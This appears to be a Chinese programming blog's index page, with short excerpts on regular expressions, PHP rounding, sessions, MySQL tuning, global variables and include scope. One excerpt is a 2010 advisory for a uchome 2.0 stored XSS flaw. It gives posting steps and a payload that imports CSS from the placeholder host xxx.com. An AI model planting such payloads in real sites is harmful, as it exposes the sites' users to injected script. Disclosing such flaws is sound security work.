不灭的焱

1.什么是正则表达式

基本说来，正则表达式是一种用来描述一定数量文本的模式。Regex代表Regular Express。本文将用<<regex>>来表示一段具体的正则表达式。

一段文本就是最基本的模式，简单的匹配相同的文本。

2.不同的正则表达式引擎

正则表达式引擎是一种可以处理正则表达式的软件。通常，引擎是更大的应用程序的一部分。在软件世界，不同的正则表达式并不互相兼容。本教程会集中讨论Perl 5 类型的引擎，因为这种引擎是应用最广泛的引擎。同时我们也会提到一些和其他引擎的区别。许多近代的引擎都很类似，但不完全一样。例如.NET正则库，JDK正则包。

发布时间：2010-09-03

影响版本：uchome 2.0

漏洞描述：看源码分析的，出错位置较敏感，而且基本没有利用限制，个人主页自定义风格时，可@import外部css文件

测试方法：

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

利用条件：开启注册&&开启投稿

方法 ：注册会员 -> 发表文章：内容输入

<style>@import 'http://xxx.com/xss.css';</style>

PHP保留两位小数例子 四舍五入

<?php
/** 1.number_format */
$number = 1234.5678;
$nombre_format_francais = number_format($number, 2, ',', ' '); // 1234,57
$english_format_number = number_format($number, 2, '.', '');   // 1234.57（我一般用这个）

/** 2.round */
$number = 1234.5678;
echo round($number ,2); //1234.57

/** 3.sprintf */
$formatted = sprintf ("%s有￥%01.2f。", $name, $money);
echo $formatted; //张三有￥123.10。
?>

http协议是WEB服务器与客户端(浏览器)相互通信的协议，它是一种无状态协议。所谓无 状态，指的是不会维护http请求数据，http请求是独立的，不持久的。而越来越复杂的WEB应用，需要保存一些用户状态信息。这时候，Session 这种方案应需而生。PHP从4.1开始支持Session管理。

1、选取最适用的字段属性

2、使用连接（JOIN）来代替子查询(Sub-Queries)

3、使用联合(UNION)来代替手动创建的临时表

4、事务

5、锁定表

6、使用外键

7、使用索引

8、优化的查询语句

+++ 探讨（一）+++++++++++++++++++++++++++++++++++++++

很多人都认为global和$GLOBALS[]只是写法上面的差别，其实不然。

根据官方的解释是

• $GLOBALS['var'] 是外部的全局变量$var本身。
• global $var 是外部$var的同名引用或者指针。（错误：是个别名引用而已，非指针！！！）

在报纸上看到xx又爆出0day漏洞是什么意思？

day漏洞，是已经发现但是官方还没发布补丁的漏洞。

信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。

我们为大家总结的PHP include作用域的问题包括：PHP include 变量作用域和函数、类的作用域等方面的问题。希望对大家有所帮助。

很多程序员在使用PHP语言进行实际编程时，通常只会关注PHP函数能实现什么功能，但是都不会去深入的了解这个函数的具体含义及隐含的问题。我们今天就为大家介绍PHP include作用域的相关问题。